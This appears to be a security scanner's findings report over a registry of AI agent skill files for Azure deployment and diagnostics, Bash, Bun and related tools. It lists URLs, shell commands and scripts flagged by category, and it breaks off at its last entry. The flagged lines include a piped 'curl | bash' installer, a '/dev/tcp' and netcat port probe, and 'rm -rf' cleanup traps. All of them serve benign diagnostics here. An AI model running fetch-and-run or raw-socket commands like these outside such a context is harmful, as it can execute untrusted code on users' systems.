  • Access to secretsline 10
    [Credential-related source omitted]

packages/autoskills/skills-registry/azure-deploy/references/recipes/terraform/verify.md

  • Network accessline 11
    curl -s https://$(terraform output -raw api_url)/health | jq .
  • Network accessline 30
    Present a summary including all service URLs as fully-qualified `https://` links. If a Terraform output returns a bare hostname (e.g. `myapp.azurewebsites.net`), always prepend `https://`. Do NOT end your response without including them.

packages/autoskills/skills-registry/azure-deploy/references/region-availability.md

  • Network accessline 3
    > **AUTHORITATIVE SOURCE** — Consult this file BEFORE recommending any region. > > Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table
  • Network accessline 5
    > Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table
  • Network accessline 65
    > Check https://learn.microsoft.com/azure/ai-services/openai/concepts/models for current model availability.

packages/autoskills/skills-registry/azure-deploy/references/sdk/azd-deployment.md

  • Network accessline 7
    ## Install curl -fsSL https://aka.ms/install-azd.sh | bash
  • Dangerous shell operationline 8
    curl -fsSL https://aka.ms/install-azd.sh | bash
  • Network accessline 8
    curl -fsSL https://aka.ms/install-azd.sh | bash
  • Access to secretsline 19
    [Credential-related source omitted]

packages/autoskills/skills-registry/azure-deploy/references/troubleshooting.md

  • Network accessline 114
    {   "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",
  • Network accessline 115
    "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",
  • Network accessline 134
    **Reference:** [Use environment variables in infrastructure files](https://learn.microsoft.com/azure/developer/azure-developer-cli/manage-environment-variables?tabs=bash#use-environment-variables-in-infrastructure-files)

packages/autoskills/skills-registry/azure-diagnostics/references/app-service/README.md

  • Network accessline 15
    |---------|--------------|-----------| | High CPU / memory | Runaway process, inefficient code | Use Process Explorer via Kudu, scale up | | Deployment failure | Build error, locked files, quota | Check Kudu logs at `https://APP.scm.azurewe
  • Network accessline 16
    | High CPU / memory | Runaway process, inefficient code | Use Process Explorer via Kudu, scale up | | Deployment failure | Build error, locked files, quota | Check Kudu logs at `https://APP.scm.azurewebsites.net/api/deployments` to look for
  • Network accessline 17
    | Deployment failure | Build error, locked files, quota | Check Kudu logs at `https://APP.scm.azurewebsites.net/api/deployments` to look for details on build errors, locked files or lack of storage quota |
  • Network accessline 39
    **Fix:** Scale up (`az appservice plan update -n <app-service-plan-name> -g <resource-group> --sku P1V3`) or profile the app via Kudu Process Explorer at `https://APP.scm.azurewebsites.net/ProcessExplorer/` to identify hot paths.
  • Network accessline 105
    # Test the endpoint directly curl -s -o /dev/null -w "%{http_code}" https://APP.azurewebsites.net/health
  • Network accessline 106
    curl -s -o /dev/null -w "%{http_code}" https://APP.azurewebsites.net/health

packages/autoskills/skills-registry/azure-diagnostics/references/container-apps/README.md

  • Network accessline 70
    # Check if /health endpoint responds curl https://APP.REGION.azurecontainerapps.io/health
  • Network accessline 71
    curl https://APP.REGION.azurecontainerapps.io/health

packages/autoskills/skills-registry/azure-diagnostics/references/functions/durable.md

  • Network accessline 99
    > **Tip:** For the Azure Storage provider, a task hub uses multiple tables, queues, and > blobs. See the [storage > providers docs](https://learn.microsoft.com/azure/azure-functions/durable/durable-functions-storage-providers#azure-storage)
  • Network accessline 100
    > blobs. See the [storage > providers docs](https://learn.microsoft.com/azure/azure-functions/durable/durable-functions-storage-providers#azure-storage) > for the full schema before assuming an artifact is missing.
  • Network accessline 101
    > providers docs](https://learn.microsoft.com/azure/azure-functions/durable/durable-functions-storage-providers#azure-storage)

packages/autoskills/skills-registry/azure-diagnostics/references/kql-queries.md

  • Network accessline 64
    - [KQL Quick Reference](https://learn.microsoft.com/azure/data-explorer/kql-quick-reference)
  • Network accessline 65
    - [Application Insights Queries](https://learn.microsoft.com/azure/azure-monitor/logs/queries)

packages/autoskills/skills-registry/azure-diagnostics/scripts/aks-baseline.ps1

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/azure-diagnostics/scripts/aks-baseline.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

packages/autoskills/skills-registry/azure-diagnostics/scripts/appservice-diagnostics.ps1

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/azure-diagnostics/scripts/appservice-diagnostics.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

packages/autoskills/skills-registry/azure-diagnostics/scripts/containerapp-diagnostics.ps1

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/azure-diagnostics/scripts/containerapp-diagnostics.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

packages/autoskills/skills-registry/azure-diagnostics/scripts/pod-evidence.ps1

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/azure-diagnostics/scripts/pod-evidence.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

packages/autoskills/skills-registry/azure-diagnostics/scripts/run-ig.ps1

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/azure-diagnostics/scripts/run-ig.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

packages/autoskills/skills-registry/azure-diagnostics/scripts/test-messaging-connectivity.ps1

  • Executable scriptline 1
    Executable file
  • Network accessline 89
    function Get-HttpsResult {     try {         $resp = Invoke-WebRequest -Uri "https://$fqdn/" -Method Get -TimeoutSec 15 `
  • Network accessline 90
    try {         $resp = Invoke-WebRequest -Uri "https://$fqdn/" -Method Get -TimeoutSec 15 `             -UseBasicParsing -ErrorAction Stop
  • Network accessline 91
    $resp = Invoke-WebRequest -Uri "https://$fqdn/" -Method Get -TimeoutSec 15 `

packages/autoskills/skills-registry/azure-diagnostics/scripts/test-messaging-connectivity.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 99
    probe_tcp() {     local host="$1" port="$2"     if command -v nc >/dev/null 2>&1; then
  • Network accessline 100
    local host="$1" port="$2"     if command -v nc >/dev/null 2>&1; then         if nc -z -w 5 "$host" "$port" >/dev/null 2>&1; then
  • Network accessline 101
    if command -v nc >/dev/null 2>&1; then
  • Network accessline 102
    if nc -z -w 5 "$host" "$port" >/dev/null 2>&1; then
  • Dangerous shell operationline 108
    ( exec 3<>"/dev/tcp/$host/$port" ) >/dev/null 2>&1 &
  • Network accessline 108
    ( exec 3<>"/dev/tcp/$host/$port" ) >/dev/null 2>&1 &
  • Network accessline 132
    # ── HTTPS reachability ──────────────────────────────────────────────────────── # On success the namespace returns an Atom feed or HTTP 401 — either proves the # endpoint is reachable. A connection failure (curl exit != 0) means blocked.
  • Network accessline 134
    # endpoint is reachable. A connection failure (curl exit != 0) means blocked.
  • Network accessline 135
    https_result() {     if ! command -v curl >/dev/null 2>&1; then
  • Network accessline 136
    if ! command -v curl >/dev/null 2>&1; then
  • Network accessline 138
    if probe_tcp "$FQDN" 443; then             echo "reachable (TCP 443 open; curl unavailable for HTTP check)"
  • Network accessline 139
    echo "reachable (TCP 443 open; curl unavailable for HTTP check)"
  • Network accessline 144
    fi     local code     code=$(curl -s -o /dev/null -m 15 -w '%{http_code}' "https://$FQDN/" 2>/dev/null)
  • Network accessline 145
    local code     code=$(curl -s -o /dev/null -m 15 -w '%{http_code}' "https://$FQDN/" 2>/dev/null)     local rc=$?
  • Network accessline 146
    code=$(curl -s -o /dev/null -m 15 -w '%{http_code}' "https://$FQDN/" 2>/dev/null)
  • Network accessline 149
    echo "reachable (HTTP $code)"     else         echo "BLOCKED (curl exit $rc)"
  • Network accessline 150
    else         echo "BLOCKED (curl exit $rc)"     fi
  • Network accessline 151
    echo "BLOCKED (curl exit $rc)"

packages/autoskills/skills-registry/azure-diagnostics/troubleshooting/aks/networking.md

  • Network accessline 3
    For CNI-specific issues, check CNI pod health and review [AKS networking concepts](https://learn.microsoft.com/azure/aks/concepts-network).
  • Network accessline 15
    # This creates a temporary pod. Prefer read-only checks first. # Only use it after the user explicitly approves a mutating test. kubectl run netdebug --image=curlimages/curl -it --rm -n <ns> -- \
  • Network accessline 16
    # Only use it after the user explicitly approves a mutating test. kubectl run netdebug --image=curlimages/curl -it --rm -n <ns> -- \   curl -sv http://<service>.<ns>.svc.cluster.local:<port>/healthz
  • Network accessline 17
    kubectl run netdebug --image=curlimages/curl -it --rm -n <ns> -- \
  • Network accessline 18
    curl -sv http://<service>.<ns>.svc.cluster.local:<port>/healthz

packages/autoskills/skills-registry/azure-diagnostics/troubleshooting/aks/node-issues.md

  • Network accessline 97
    See [AKS resource reservations](https://learn.microsoft.com/azure/aks/concepts-clusters-workloads#resource-reservations) for allocatable math.

packages/autoskills/skills-registry/azure-diagnostics/troubleshooting/aks/references/aks-mcp.md

  • Network accessline 29
    Health. Use the separate Azure MCP area that advertises the needed operation, or use the portable command flows. Never route Kubernetes commands through the AKS area. See [Azure Kubernetes Service tools for the Azure MCP Server](https://lea
  • Network accessline 31
    AKS area. See [Azure Kubernetes Service tools for the Azure MCP Server](https://learn.microsoft.com/azure/developer/azure-mcp-server/tools/azure-kubernetes).

packages/autoskills/skills-registry/azure-diagnostics/troubleshooting/aks/spot-and-zone-issues.md

  • Network accessline 64
    Use `Premium_ZRS` or `StandardSSD_ZRS` in custom StorageClasses to reduce zonal PVC conflicts. See [AKS storage best practices](https://learn.microsoft.com/azure/aks/operator-best-practices-storage).

packages/autoskills/skills-registry/azure-diagnostics/troubleshooting/compute/references/cannot-connect-to-vm.md

  • Network accessline 48
    [Windows RDP]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-connection
  • Network accessline 49
    [Linux SSH]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection
  • Network accessline 50
    [Windows VM hub]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/welcome-virtual-machines-windows
  • Network accessline 51
    [Linux VM hub]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/welcome-virtual-machines-linux

packages/autoskills/skills-registry/azure-diagnostics/troubleshooting/compute/references/credential-auth-errors.md

  • Dangerous shell operationline 16
    | sudo prompt fails | Linux | Fix sudoers via Run Command or Serial Console | [SSH overview] |
  • Network accessline 33
    [Reset RDP]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/reset-rdp
  • Network accessline 34
    [RDP overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-connection
  • Network accessline 35
    [RDP errors]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-specific-rdp-errors
  • Network accessline 36
    [CredSSP]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/credssp-encryption-oracle-remediation
  • Network accessline 37
    [SSH detail]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/detailed-troubleshoot-ssh-connection
  • Network accessline 38
    [SSH overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection

packages/autoskills/skills-registry/azure-diagnostics/troubleshooting/compute/references/firewall-blocking.md

  • Network accessline 36
    [Guest firewall]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/guest-os-firewall-blocking-inbound-traffic
  • Network accessline 37
    [Firewall rule]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/enable-disable-firewall-rule-guest-os
  • Network accessline 38
    [Offline firewall]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/disable-guest-os-firewall-windows
  • Network accessline 39
    [SSH overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection
  • Network accessline 40
    [Linux repair]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/repair-linux-vm-using-azure-virtual-machine-repair-commands

packages/autoskills/skills-registry/azure-diagnostics/troubleshooting/compute/references/network-connectivity.md

  • Network accessline 36
    [RDP NSG]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-nsg-problem
  • Network accessline 37
    [Traffic filter]: https://learn.microsoft.com/en-us/azure/network-watcher/diagnose-vm-network-traffic-filtering-problem
  • Network accessline 38
    [Routing]: https://learn.microsoft.com/en-us/azure/network-watcher/diagnose-vm-network-routing-problem
  • Network accessline 39
    [Public IP]: https://learn.microsoft.com/en-us/azure/virtual-network/ip-services/public-ip-addresses
  • Network accessline 40
    [RDP NIC]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-nic-disabled
  • Network accessline 41
    [Reset NIC]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/reset-network-interface
  • Network accessline 42
    [DHCP]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-dhcp-disabled
  • Network accessline 43
    [SSH overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection

packages/autoskills/skills-registry/azure-diagnostics/troubleshooting/compute/references/rdp-connectivity.md

  • Network accessline 34
    [RDP NSG]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-nsg-problem
  • Network accessline 35
    [Guest firewall]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/guest-os-firewall-blocking-inbound-traffic
  • Network accessline 36
    [RDP errors]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-specific-rdp-errors
  • Network accessline 37
    [Internal]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-internal-error
  • Network accessline 38
    [General]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-general-error
  • Network accessline 39
    [Detailed]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/detailed-troubleshoot-rdp
  • Network accessline 40
    [RDP overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-connection
  • Network accessline 41
    [Event IDs]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/event-id-troubleshoot-vm-rdp-connecton
  • Network accessline 42
    [RDP NIC]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-nic-disabled

packages/autoskills/skills-registry/azure-diagnostics/troubleshooting/compute/references/rdp-service-config.md

  • Network accessline 7
    | Symptom                                | Solution                                                               | Documentation                                                                                                               
  • Network accessline 8
    | -------------------------------------- | ---------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------
  • Network accessline 9
    | TermService not running                | Start the service and set to Automatic                                 | [Reset RDP service](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/reset-rdp)                
  • Network accessline 10
    | RDP port changed from 3389             | Reset port or update NSG to allow the custom port                      | [Detailed RDP troubleshooting](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/detailed-troubl
  • Network accessline 11
    | RDP disabled (fDenyTSConnections = 1)  | Reset RDP config via CLI or Portal                                     | [Reset RDP service](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/reset-rdp)                
  • Network accessline 12
    | TLS/SSL certificate expired or corrupt | Delete cert and restart TermService to regenerate                      | [RDP internal error](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-internal
  • Network accessline 13
    | NLA/Security Layer mismatch            | Temporarily disable NLA for recovery                                   | [RDP general error](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-general-e
  • Network accessline 14
    | GPO overriding local RDP settings      | Check `HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services` | [Detailed RDP troubleshooting](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/detailed-troubl
  • Network accessline 15
    | RDS licensing expired                  | Remove RDSH role or configure license server                           | [Specific RDP errors](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-specific-rd

packages/autoskills/skills-registry/azure-diagnostics/troubleshooting/compute/references/ssh-connectivity.md

  • Network accessline 40
    [SSH overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection
  • Network accessline 41
    [SSH detail]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/detailed-troubleshoot-ssh-connection
  • Network accessline 42
    [Debian]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/cannot-connect-debian-linux
  • Network accessline 43
    [Ubuntu SSH]: https://documentation.ubuntu.com/release-notes/24.04/#openssh
  • Network accessline 44
    [SELinux]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/linux-selinux-troubleshooting
  • Network accessline 45
    [UEFI]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/azure-linux-vm-uefi-boot-failures

packages/autoskills/skills-registry/azure-diagnostics/troubleshooting/compute/references/vm-agent-not-responding.md

  • Network accessline 9
    | Symptom                                                          | OS      | Solution                                                 | Documentation                                                                                         
  • Network accessline 10
    | ---------------------------------------------------------------- | ------- | -------------------------------------------------------- | ------------------------------------------------------------------------------------------------------
  • Network accessline 11
    | Run Command times out                                            | Windows | VM agent may be down — use Serial Console instead        | [Serial Console — Windows](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windo
  • Network accessline 12
    | Run Command times out                                            | Linux   | VM agent may be down — use Serial Console instead        | [Serial Console — Linux](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/s
  • Network accessline 13
    | Password reset fails via Portal/CLI                              | Windows | VMAccess extension can't communicate — use offline reset | [Reset password without agent](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/w
  • Network accessline 14
    | Password/key reset fails via Portal/CLI                          | Linux   | VMAccess extension can't communicate — use Serial Console | [Serial Console — Linux](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/
  • Network accessline 15
    | VM not booting (Boot Diagnostics shows BSOD/stuck)               | Windows | OS-level issue — use repair VM for offline fix           | [Repair Windows VM](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/repa
  • Network accessline 16
    | VM not booting (Boot Diagnostics shows kernel panic/stuck)       | Linux   | Use repair VM for offline Linux disk fix                 | [Repair Linux VM](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/repair-l
  • Network accessline 17
    | VMAccess extension error on domain controller                    | Windows | VMAccess doesn't support DCs — use Serial Console        | [Serial Console — Windows](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windo

packages/autoskills/skills-registry/azure-diagnostics/troubleshooting/messaging/auth-best-practices.md

  • Network accessline 3
    > Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 122
    - [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview)
  • Network accessline 123
    - [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview)
  • Network accessline 124
    - [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview)
  • Network accessline 125
    - [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 126
    - [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme)
  • Network accessline 127
    - [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme)
  • Network accessline 128
    - [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)

packages/autoskills/skills-registry/azure-diagnostics/troubleshooting/messaging/azure-eventhubs-dotnet.md

  • Network accessline 3
    Package: `Azure.Messaging.EventHubs` | [README](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/eventhub/Azure.Messaging.EventHubs/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/eventhub/A
  • Network accessline 27
    Configure via `EventHubsRetryOptions` when creating the client. See [Configuring retry thresholds sample](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/eventhub/Azure.Messaging.EventHubs/samples).
  • Network accessline 31
    - **Socket exhaustion**: Treat clients as singletons. Share `EventHubConnection` across clients if needed. Always call `CloseAsync` or `DisposeAsync`. - **HTTP 412/409 from storage**: Normal during checkpoint store operations — not an error
  • Network accessline 32
    - **HTTP 412/409 from storage**: Normal during checkpoint store operations — not an error. - **Partitions closing frequently**: Expected when scaling. If persists >5 min without scaling, investigate. See [Troubleshooting Guide](https://gith
  • Network accessline 33
    - **Partitions closing frequently**: Expected when scaling. If persists >5 min without scaling, investigate. See [Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/eventhub/Azure.Messaging.EventHubs/TROUBLESHOO

packages/autoskills/skills-registry/azure-diagnostics/troubleshooting/messaging/azure-eventhubs-java.md

  • Network accessline 3
    Package: `azure-messaging-eventhubs` | [README](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/eventhubs/azure-messaging-eventhubs/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/eventhu
  • Network accessline 5
    > ⚠<U+FE0F> **Note:** The detailed Java troubleshooting guide has moved to [Microsoft Learn](https://learn.microsoft.com/azure/developer/java/sdk/troubleshooting-messaging-event-hubs-overview).
  • Network accessline 29
    See [Java SDK logging docs](https://learn.microsoft.com/azure/developer/java/sdk/troubleshooting-messaging-event-hubs-overview) for details.

packages/autoskills/skills-registry/azure-diagnostics/troubleshooting/messaging/azure-eventhubs-js.md

  • Network accessline 3
    Package: `@azure/event-hubs` | [README](https://github.com/Azure/azure-sdk-for-js/blob/main/sdk/eventhub/event-hubs/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-js/blob/main/sdk/eventhub/event-hubs/TROUBLESHOOTING

packages/autoskills/skills-registry/azure-diagnostics/troubleshooting/messaging/azure-eventhubs-py.md

  • Network accessline 3
    Package: `azure-eventhub` | [README](https://github.com/Azure/azure-sdk-for-python/blob/main/sdk/eventhub/azure-eventhub) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-python/blob/main/sdk/eventhub/azure-eventhub/TRO

packages/autoskills/skills-registry/azure-diagnostics/troubleshooting/messaging/azure-servicebus-dotnet.md

  • Network accessline 3
    Package: `Azure.Messaging.ServiceBus` | [README](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/servicebus/Azure.Messaging.ServiceBus/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/servic
  • Network accessline 12
    | `ServiceBusException` (QuotaExceeded) | Too many concurrent receives | Reduce receivers or use batch receives | | `ServiceBusException` (MessageSizeExceeded) | Message or batch too large | Reduce payload. Premium tier supports individual 
  • Network accessline 13
    | `ServiceBusException` (MessageSizeExceeded) | Message or batch too large | Reduce payload. Premium tier supports individual messages up to 100MB. Batch limit is artificially computed on the client from the max message size sent by the ser
  • Network accessline 14
    | `ServiceBusException` (ServiceBusy) | Request throttled | Auto-retried with 10s backoff. See [throttling docs](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-throttling) |

packages/autoskills/skills-registry/azure-diagnostics/troubleshooting/messaging/azure-servicebus-java.md

  • Network accessline 3
    Package: `azure-messaging-servicebus` | [README](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/servicebus/azure-messaging-servicebus/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/serv
  • Network accessline 30
    Even with prefetch disabled in the builder, `receiveMessages` API can re-enable prefetch implicitly. See [SyncReceiveAndPrefetch](https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/servicebus/azure-messaging-servicebus/docs/SyncRecei
  • Network accessline 45
    See [Java SDK logging docs](https://learn.microsoft.com/azure/developer/java/sdk/troubleshooting-messaging-service-bus-overview) for details.

packages/autoskills/skills-registry/azure-diagnostics/troubleshooting/messaging/azure-servicebus-js.md

  • Network accessline 3
    Package: `@azure/service-bus` | [README](https://github.com/Azure/azure-sdk-for-js/blob/main/sdk/servicebus/service-bus/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-js/blob/main/sdk/servicebus/service-bus/TROUBLES

packages/autoskills/skills-registry/azure-diagnostics/troubleshooting/messaging/azure-servicebus-py.md

  • Network accessline 3
    Package: `azure-servicebus` | [README](https://github.com/Azure/azure-sdk-for-python/blob/main/sdk/servicebus/azure-servicebus/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-python/blob/main/sdk/servicebus/azure-ser

packages/autoskills/skills-registry/azure-diagnostics/troubleshooting/messaging/service-troubleshooting.md

  • Network accessline 9
    1. **Verify connection string** — Get from Azure portal. For **Event Hubs (Kafka endpoint)** clients, also check `producer.config` / `consumer.config`. 2. **Check service outage** — [Azure status page](https://azure.status.microsoft/status)
  • Network accessline 10
    2. **Check service outage** — [Azure status page](https://azure.status.microsoft/status)
  • Network accessline 80
    - [Event Hubs troubleshooting guide](https://learn.microsoft.com/azure/event-hubs/troubleshooting-guide)
  • Network accessline 81
    - [Service Bus troubleshooting guide](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-troubleshooting-guide)
  • Network accessline 82
    - [Event Hubs quotas and limits](https://learn.microsoft.com/azure/event-hubs/event-hubs-quotas)
  • Network accessline 83
    - [Service Bus quotas and limits](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-quotas)
  • Network accessline 84
    - [Event Hubs AMQP troubleshooting](https://learn.microsoft.com/azure/event-hubs/event-hubs-amqp-troubleshoot)
  • Network accessline 85
    - [Service Bus AMQP troubleshooting](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-amqp-troubleshoot)
  • Network accessline 86
    - [Event Hubs IP addresses and service tags](https://learn.microsoft.com/azure/event-hubs/troubleshooting-guide#what-ip-addresses-do-i-need-to-allow)
  • Network accessline 87
    - [Service Bus IP addresses](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-faq#what-ip-addresses-do-i-need-to-add-to-allowlist-)

packages/autoskills/skills-registry/bash-defensive-patterns/references/details.md

  • Dangerous shell operationline 30
    trap 'echo "Cleaning up..."; rm -rf "$TMPDIR"' EXIT
  • Dangerous shell operationline 150
    trap 'rm -rf -- "$TMPDIR"' EXIT
  • Dangerous shell operationline 331
    # Use -I flag to prompt before rm (BSD/GNU compatible)
  • Dangerous shell operationline 332
    rm -rI -- "$dir"
  • Dangerous shell operationline 432
    run_cmd rm "$file"

packages/autoskills/skills-registry/best-practices/SKILL.md

  • Network accessline 13
    2. Otherwise, inspect the resolved `better-auth` version in the lockfile, falling back to the package manifest when no lockfile is available. 3. When the Better Auth MCP is available, call `get_doc` with `/llms.txt` to resolve that package 
  • Network accessline 14
    3. When the Better Auth MCP is available, call `get_doc` with `/llms.txt` to resolve that package version to a documentation identifier. Pass the identifier to every `search_docs` call and pass result paths to `get_doc` unchanged. 4. Withou
  • Network accessline 15
    4. Without MCP, start at [better-auth.com/llms.txt](https://better-auth.com/llms.txt) and follow the matching version index.
  • Access to secretsline 25
    [Credential-related source omitted]
  • Network accessline 38
    ### Environment Variables - `BETTER_AUTH_SECRET` - Encryption secret (min 32 chars). Generate: `openssl rand -base64 32` - `BETTER_AUTH_URL` - Base URL (e.g., `https://example.com`)
  • Network accessline 40
    - `BETTER_AUTH_URL` - Base URL (e.g., `https://example.com`)
  • Network accessline 188
    - [Docs](https://better-auth.com/docs)
  • Network accessline 189
    - [Options Reference](https://better-auth.com/docs/reference/options)
  • Network accessline 190
    - [LLMs.txt](https://better-auth.com/llms.txt)
  • Network accessline 191
    - [GitHub](https://github.com/better-auth/better-auth)
  • Network accessline 192
    - [Init Options Source](https://github.com/better-auth/better-auth/blob/main/packages/core/src/types/init-options.ts)

packages/autoskills/skills-registry/bun/SKILL.md

  • Network accessline 13
    Bun is a unified JavaScript runtime, package manager, bundler, and test runner written in Zig. It replaces Node.js, npm, esbuild, and Jest with a single fast binary. Key files: `bunfig.toml` (configuration), `bun.lock` (lockfile), `package.
  • Network accessline 151
    const server = Bun.serve({   port: 3000,   fetch(req) {
  • Network accessline 152
    port: 3000,   fetch(req) {     return new Response("Hello!");
  • Network accessline 153
    fetch(req) {
  • Network accessline 220
    **Comprehensive navigation**: https://bun.com/docs/llms.txt — Page-by-page listing of all Bun documentation.
  • Network accessline 222
    **Critical pages**: 1. [Bun Runtime](https://bun.com/docs/runtime) — Execute files, scripts, and manage the runtime
  • Network accessline 223
    1. [Bun Runtime](https://bun.com/docs/runtime) — Execute files, scripts, and manage the runtime
  • Network accessline 224
    2. [Package Manager](https://bun.com/docs/pm/cli/install) — Install, add, remove packages and manage dependencies
  • Network accessline 225
    3. [Bundler](https://bun.com/docs/bundler) — Bundle JavaScript/TypeScript for production
  • Network accessline 226
    4. [Test Runner](https://bun.com/docs/test) — Write and run Jest-compatible tests
  • Network accessline 227
    5. [bunfig.toml](https://bun.com/docs/runtime/bunfig) — Configure Bun's behavior
  • Network accessline 231
    > For additional documentation and navigation, see: https://bun.com/docs/llms.txt

packages/autoskills/skills-registry/chrome-extension-development/SKILL.md

  • Network accessline 4
    metadata:   maintainer: Mindrally   source: https://github.com/Mindrally/skills
  • Network accessline 5
    maintainer: Mindrally   source: https://github.com/Mindrally/skills ---
  • Network accessline 6
    source: https://github.com/Mindrally/skills
  • Network accessline 45
    "content_scripts": [     {       "matches": ["https://*.example.com/*"],
  • Network accessline 46
    {       "matches": ["https://*.example.com/*"],       "js": ["content/content-script.js"],
  • Network accessline 47
    "matches": ["https://*.example.com/*"],

packages/autoskills/skills-registry/clerk-android/SKILL.md

  • Network accessline 179
